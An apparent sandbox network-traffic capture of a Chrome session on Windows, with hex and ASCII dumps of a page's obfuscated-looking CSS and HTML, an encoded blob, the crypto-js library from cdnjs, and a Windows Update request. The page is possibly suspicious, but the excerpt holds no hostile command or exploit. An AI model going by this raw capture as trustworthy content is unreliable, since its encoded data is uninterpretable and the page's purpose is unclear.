2024-10-30 15:25:37 UTC	1369	IN	Data Raw: 74 65 59 28 35 31 70 78 29 09 20 09 73 63 61 6c 65 59 28 31 2e 30 35 29 20 7d 09 33 33 25 20 09 09 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 09 09 20 74 72 61 6e 73 6c 61 74 65 59 28 35 31 70 78 29 09 09 73 63 61 6c 65 59 28 30 2e 39 36 29 09 20 09 7d 09 33 34 25 09 20 2c 20 20 36 38 2e 35 25 09 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 35 31 70 78 29 09 73 63 61 6c 65 59 28 31 29 20 20 20 7d 20 20 36 38 2e 35 25 09 09 20 7b 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 20 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 36 09 09 20 2c 20 09 2d 30 2e 31 36 09 09 09 2c 20 09 20 31 20 09 2c 09 09 20 2d 30 2e 32 39 29 20 7d 09 20 20 7d 20 20 23 6b 61 72 6d 69 63 20 09 3e 09 09 20 2e 61 62 Data Ascii: teY(51px) scaleY(1.05) }33% { transform: translateY(51px)scaleY(0.96) }34% , 68.5% { transform: translateY(51px)scaleY(1) } 68.5% { animation-timing-function: cubic-bezier(0.66 , -0.16, 1 , -0.29) } } #karmic > .ab
2024-10-30 15:25:37 UTC	1369	IN	Data Raw: 6b 65 79 66 72 61 6d 65 73 20 20 20 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 7b 09 20 30 25 09 2c 20 09 20 31 30 30 25 09 2c 09 20 37 37 25 09 09 20 2c 09 20 20 38 2e 35 25 20 20 09 7b 20 09 74 72 61 6e 73 66 6f 72 6d 3a 20 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 37 31 70 78 29 09 72 6f 74 61 74 65 33 64 28 31 09 09 20 2c 20 20 20 30 20 2c 09 09 09 30 09 2c 09 09 30 29 09 20 7d 09 20 20 31 34 2e 35 25 09 09 09 2c 09 09 37 36 25 20 09 09 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 37 31 70 78 29 09 09 72 6f 74 61 74 65 33 64 28 31 09 2c 20 20 20 30 20 20 20 2c 20 20 09 30 20 2c 09 09 39 30 64 65 67 29 09 20 7d 20 09 09 7d 09 09 23 63 61 62 6f 6f 64 6c 65 09 7b 09 77 69 64 74 68 3a 20 31 33 30 70 78 3b 68 65 69 Data Ascii: keyframes closed-flap-swing { 0%, 100%, 77% , 8.5% { transform: translateY(-71px)rotate3d(1 , 0 ,0,0) } 14.5%,76% { transform: translateY(-71px)rotate3d(1, 0 , 0 ,90deg) } }#caboodle{width: 130px;hei
2024-10-30 15:25:37 UTC	1369	IN	Data Raw: 74 20 76 61 69 6e 67 6c 6f 72 69 6f 75 73 6c 79 22 3e 20 3c 2f 64 69 76 3e 09 09 20 3c 2f 64 69 76 3e 20 20 20 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 20 20 3c 64 69 76 09 69 64 3d 22 71 75 61 6c 69 74 61 74 69 76 65 6c 79 22 3e 09 20 20 3c 2f 64 69 76 3e 09 3c 64 69 76 09 20 69 64 3d 22 6f 61 74 73 22 3e 09 20 20 3c 64 69 76 09 09 63 6c 61 73 73 3d 22 75 62 69 71 75 69 74 6f 75 73 6c 79 22 3e 20 09 3c 2f 64 69 76 3e 20 09 09 3c 64 69 76 09 20 63 6c 61 73 73 3d 22 65 61 72 74 68 65 6e 22 3e 09 3c 2f 64 69 76 3e 09 3c 2f 64 69 76 3e 09 3c 64 69 76 20 20 09 69 64 3d 22 6b 65 62 6f 62 22 3e 20 3c 64 69 76 20 69 64 3d 22 63 61 62 6f 6f 64 6c 65 22 3e 20 09 09 3c 64 69 76 09 09 63 6c 61 73 73 3d 22 77 61 63 6b 79 22 3e 20 20 3c 2f 64 69 76 3e 09 20 09 3c 2f 64 Data Ascii: t vaingloriously"> </div> </div> </div> </div> <divid="qualitatively"> </div><div id="oats"> <divclass="ubiquitously"> </div> <div class="earthen"></div></div><div id="kebob"> <div id="caboodle"> <divclass="wacky"> </div> </d
2024-10-30 15:25:37 UTC	531	IN	Data Raw: 6a 4d 6a 49 31 4e 47 59 30 59 6a 4d 30 4e 6a 42 68 59 7a 67 34 59 54 64 6a 4e 6a 46 69 4d 6d 59 31 4e 32 4e 6a 4d 6a 55 33 4e 32 52 68 5a 6d 5a 6a 4d 32 4d 79 4e 54 41 31 4d 54 63 30 4f 57 52 6d 4d 6d 46 6b 4e 6a 52 6d 59 6a 51 35 4e 47 4d 32 4d 57 52 6c 4d 44 45 33 4f 44 68 6b 4f 47 4d 34 4e 32 4e 6b 4d 7a 6c 69 4e 47 4d 77 4d 6d 49 35 4e 44 6c 6c 59 54 45 78 4d 6d 51 32 4d 6d 5a 6b 5a 6a 59 32 4e 54 45 79 4e 47 56 6c 5a 44 45 79 4d 7a 6c 6c 4e 47 4a 6a 4d 6a 6c 6c 5a 57 56 6c 4d 32 4d 78 4e 7a 51 34 4d 6a 49 77 5a 6a 41 30 4d 54 4d 33 4d 6d 59 33 5a 57 45 77 4d 6a 6c 69 4f 57 55 34 4f 44 59 31 4f 47 55 34 4e 6a 55 79 4d 7a 56 6d 4d 6a 59 30 59 7a 55 78 5a 6d 55 79 4e 47 4a 6c 4e 7a 6b 7a 4d 57 51 79 5a 6a 4d 7a 4d 6a 4e 68 59 6d 4d 7a 4d 7a 56 6c 59 54 Data Ascii: jMjI1NGY0YjM0NjBhYzg4YTdjNjFiMmY1N2NjMjU3N2RhZmZjM2MyNTA1MTc0OWRmMmFkNjRmYjQ5NGM2MWRlMDE3ODhkOGM4N2NkMzliNGMwMmI5NDllYTExMmQ2MmZkZjY2NTEyNGVlZDEyMzllNGJjMjllZWVlM2MxNzQ4MjIwZjA0MTM3MmY3ZWEwMjliOWU4ODY1OGU4NjUyMzVmMjY0YzUxZmUyNGJlNzkzMWQyZjMzMjNhYmMzMzVlYT
2024-10-30 15:25:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49736	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:38 UTC	562	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zastromts.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:38 UTC	970	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:38 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 512428 Expires: Mon, 20 Oct 2025 15:25:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qq2qlyAu3UrT%2FUXj9q9X%2FCIa804gASmweNm6skk4aHpUxBsGeXpseI%2F%2FMjqpor7M01vv2ZkGA3Mtf%2BJVzPsOtv8%2FPGloDECQt4fR%2B36zbcRGwLq1%2BIcmQV4bohuT9OkpveBw6%2F39"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6b48fb0deae9-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:38 UTC	399	IN	Data Raw: 37 62 64 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bdf!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 2e 63 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 Data Ascii: .crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("functi
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c Data Ascii: )for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 28 74 3d 64 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 Data Ascii: (t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)th
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 72 3f 28 72 3d 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 Data Ascii: r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 38 38 36 32 36 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 Data Ascii: 886263092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 Data Ascii: At(o)]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 2c 48 5b 32 37 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 Data Ascii: ,H[27]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 Data Ascii: var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s
2024-10-30 15:25:38 UTC	1369	IN	Data Raw: 48 65 6c 70 65 72 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e Data Ascii: Helper(o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49728	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heCOdcd6DBu6vCN&MD=Hph1+bw2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 15:25:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 54bd22e6-6ec8-4c4d-8543-6db0aed69283 MS-RequestId: 4075039a-06b1-4c7d-8cb8-ff2877dd8661 MS-CV: KSoYo/lIcEOGnXqz.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 15:25:37 GMT Connection: close Content-Length: 24490
2024-10-30 15:25:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 15:25:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49737	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:39 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
